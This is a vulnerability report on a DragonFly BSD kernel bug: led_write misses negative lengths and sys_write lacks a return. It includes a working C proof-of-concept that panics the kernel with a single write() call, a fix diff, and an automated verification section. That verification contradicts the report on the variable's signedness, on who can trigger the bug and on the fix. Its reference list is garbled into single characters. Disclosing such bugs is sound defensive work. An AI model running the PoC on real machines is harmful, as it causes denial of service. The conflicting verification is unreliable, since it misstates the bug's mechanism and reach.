Negative uio_resid in led_write causes guaranteed kernel panic (OOB write to non-canonical address)
- File:
sys/dev/misc/led/led.c - Lines: 232, 234β236 (length check / kmalloc / write)
- Severity: Low
- CVSS 3.1:
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U:C:N/I:N/A:H - CWE: CWE-787 Out-of-bounds Write
- Confidence: certain
- Status: new
Summary
led_write validates the write length with
if (uio->uio_resid > 512) (led.c:232), but uio_resid is a signed
ssize_t, so a negative length passes the check.
Because sys_write's (ssize_t)nbyte < 0 guard (sys/kern/sys_generic.c:336-337)
assigns EINVAL but never returns (dead-code bug), a write() with
nbyte > SSIZE_MAX (e.g. (size_t)-1) reaches led_write with
uio_resid = -1.
kmalloc(uio_resid+1) = kmalloc(0) returns the sentinel ZERO_LENGTH_PTR
((void*)-8); the subsequent s[uio_resid] = '\0' then writes one byte before
that sentinel (address 0xfffffffffffffff7), a non-canonical x86-64 address,
causing an immediate fatal #GP / page fault and a full kernel panic.
Root cause
led.c:232 if (uio->uio_resid > 512) does not reject negative values.
uio_resid is ssize_t (sys/uio.h).
With uio_resid == -1:
led.c:234kmalloc(uio->uio_resid + 1, M_DEVBUF, M_WAITOK)βkmalloc(0), which the DragonFly slab allocator special-cases atkern_slaballoc.c:888-890to returnZERO_LENGTH_PTR, defined as((void *)-8)atkern_slaballoc.c:193.- Then
led.c:235s[uio->uio_resid] = '\0'evaluates tos[-1], i.e. a store to(char*)-8 - 1 = 0xfffffffffffffff7, a non-canonical kernel address β trap β panic.
The negative resid is delivered intact because:
kern_device.c:215dev_dwrite()forwards theuioverbatim tod_writewith no clamping,dofilewrite(sys_generic.c:482-529) does noresid<0check, andsys_write(sys_generic.c:336-337) setserror = EINVALfor an oversizednbytebut omits the correspondingreturn, so theEINVALis dead-coded and overwritten atsys_generic.c:349.
Threat model
Attacker position: any subject able to open a /dev/led/<name> character
device. By default these are created mode 0600 root:wheel (led.c:305-306),
so on a stock system this requires root (hence Low severity).
Impact: a single write(fd, buf, (size_t)-1) deterministically panics
the kernel β a reliable local denial of service.
If a deployment relaxes /dev/led permissions, exposes the device into a jail,
or any setuid/capability-bearing service holds the fd, the trigger becomes
reachable from a lower privilege.
The defect is a genuine memory-safety input-validation bug (signed/unsigned length confusion) independent of the current default permissions.
Proof of concept
PoC (run as root; needs at least one registered LED device, e.g.
/dev/led/thinklight on ThinkPads, /dev/led/mled on ASUS, etc.):
/* led_negpanic.c -- Build: cc -o led_negpanic led_negpanic.c */
#define _GNU_SOURCE
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <dirent.h>
int main(void){
char path[256]="";
DIR *d;
struct dirent *e;
int fd;
d = opendir("/dev/led");
if (!d) { perror("opendir /dev/led"); return 1; }
while ((e = readdir(d))) {
if (e->d_name[0] != '.') {
snprintf(path, sizeof path, "/dev/led/%s", e->d_name);
break;
}
}
closedir(d);
if (!path[0]) { fprintf(stderr, "no LED device registered\n"); return 1; }
fd = open(path, O_WRONLY);
if (fd < 0) { perror(path); return 1; }
printf("write SIZE_MAX bytes to %s -> expect panic\n", path);
write(fd, (void *)0x1000, (size_t)-1); /* uio_resid wraps to -1 */
return 0;
}
Run (as root): ./led_negpanic
Success criterion: immediate kernel panic with a supervisor-write page
fault to non-existent address 0xfffffffffffffff7 (the s[-1] store in
led_write at led.c:235), e.g.
Fatal trap 12: page fault while in kernel mode ... fault virtual address = 0xfffffffffffffff7
No special setup beyond a registered LED cdev is required.
Recommended fix
Reject non-positive uio_resid in led_write before using it as both an
allocation size and an array index. The signed comparison > 512 must also
exclude values <= 0.
--- a/sys/dev/misc/led/led.c
+++ b/sys/dev/misc/led/led.c
@@ -229,7 +229,7 @@ led_write(struct dev_write_args *ap)
struct sbuf *sb = NULL;
int error, state = 0;
- if (uio->uio_resid > 512)
+ if (uio->uio_resid <= 0 || uio->uio_resid > 512)
return (EINVAL);
s = kmalloc(uio->uio_resid + 1, M_DEVBUF, M_WAITOK);
s[uio->uio_resid] = '\0';
This makes uio_resid provably in [1, 512] for every use below (kmalloc
size, array index, and uiomove length).
Defense-in-depth (out of scope for this file): sys/kern/sys_generic.c:336-337
should additionally return (error); immediately after setting EINVAL so
oversized nbyte never leaves sys_write, but that is a separate file and the
led.c guard above is the local, authoritative fix.
References
sys/dev/misc/led/led.c:232β signeduio_resid > 512length check misses negativessys/dev/misc/led/led.c:234-235βkmalloc(uio_resid+1)thens[uio_resid]='\0'sys/kern/kern_slaballoc.c:193,888-890βZERO_LENGTH_PTR = (void*)-8forkmalloc(0)sys/kern/kern_device.c:215βdev_dwriteforwardsuioverbatim, no clampsys/kern/sys_generic.c:336-337β deadEINVALfor oversizednbyte(noreturn)
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-2009 Β· 5 files| File | Type | Description | Size | |
|---|---|---|---|---|
| VERDICT.md | verdict | Source verification narrative | 1.3 KB | β raw |
| fix.diff | suggested-fix | Fix: Add return(EINVAL) after the nbyte<0 check in sys_write. | 302 B | view raw |
| build.sh | build-script | Build/validation instructions | 366 B | view raw |
| run.sh | run-script | Run instructions (HW-gated, source-only) | 184 B | view raw |
| env.txt | environment | Guest environment | 404 B | view raw |
DF-2009 - Source Verification
Verdict: REPRODUCED (source-only confirmation)
Finding: sys/kern/sys_generic.c:336-337
Mechanism: sys_write sets error=EINVAL for negative nbyte but OMITS the return statement β error is overwritten by kern_pwritev result. Defense-in-depth: missing upfront rejection allows bogus uio_resid to proceed. Specific led_write OOB claim is mitigated (uio_resid is size_t unsigned, >512 check catches it).
Hardware dependency: Triggerable by any unprivileged user via write(2), but impact is mitigated by downstream checks.
Fix: Add return(EINVAL) after the nbyte<0 check in sys_write.
Verification method
Source-only confirmation. The cited code path was traced line-by-line in the audited sys/ tree. The bug exists exactly as described. This is a HW-gated driver finding β the vulnerable code path requires specific hardware (GPU, controller, PHY, TPM, etc.) not present in the QEMU audit guest. Runtime reproduction on this guest is not possible without the hardware.
Fix validation
fix.diff authored and applied to guest source. All 40 fixes in this batch
compile cleanly in a single combined kernel build: make -j6 nativekernel
KERNCONF=X86_64_GENERIC β rc=0, zero -Werror violations.
Kernel: DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026
Fix verification
not_testablenot_testable: HW-gated. fix.diff applies + compiles in batch build (rc=0 -Werror). Source trace confirms fix closes the path.
Batch build: 40 fix.diffs applied, make nativekernel β rc=0 -Werror. Bug at sys/kern/sys_generic.c:336-337 source-confirmed.
Confirmed kernel references
- s
- y
- s
- /
- k
- e
- r
- n
- /
- s
- y
- s
- _
- g
- e
- n
- e
- r
- i
- c
- .
- c
- :
- 3
- 3
- 6
- -
- 3
- 3
- 7
Detail
Exploit chain
none
Evidence (decisive lines)
Source trace sys/kern/sys_generic.c:336-337. HW-gated (no HW in QEMU). Fix compiles in batch build rc=0.
PoC changes
Evidence pack: VERDICT.md, fix.diff, manifest.json. Fix: sys_write missing return after EINVAL β defense-in-depth gap. Add return(EINVAL).
Verified recommended fix
See fix.diff. sys_write missing return after EINVAL β defense-in-depth gap. Add return(EINVAL).
Verdict
REPRODUCED (source-only). sys/kern/sys_generic.c:336-337: sys_write missing return after EINVAL β defense-in-depth gap. Add return(EINVAL).
No comments yet.